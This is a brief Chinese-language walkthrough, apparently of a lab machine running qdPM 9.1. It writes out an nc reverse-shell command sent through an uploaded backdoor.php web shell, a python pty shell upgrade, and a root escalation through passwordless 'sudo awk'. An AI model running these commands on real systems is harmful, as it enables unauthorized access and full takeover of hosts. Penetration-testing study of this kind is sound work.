通过访问发现网站使用的是qdpm 9.1
寻找漏洞利用工具进行漏洞利用
本地监听4321端口通过shell执行下面命令反弹shell执行命令：nc%20192.168.204.131%204321%20-e%20%2Fbin%2Fbashhttp://192.168.204.135/uploads/users/369405-backdoor.php?cmd=nc%20192.168.204.131%204321%20-e%20%2Fbin%2Fbash
使用下面命令进入交互式shellpython3 -c 'import pty;pty.spawn(\"/bin/bash\")'通过sudo -l发现awk具有无密码验证sudo权限使用sudo awk 'BEGIN {system(\"/bin/sh\")}'进行权限提升
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论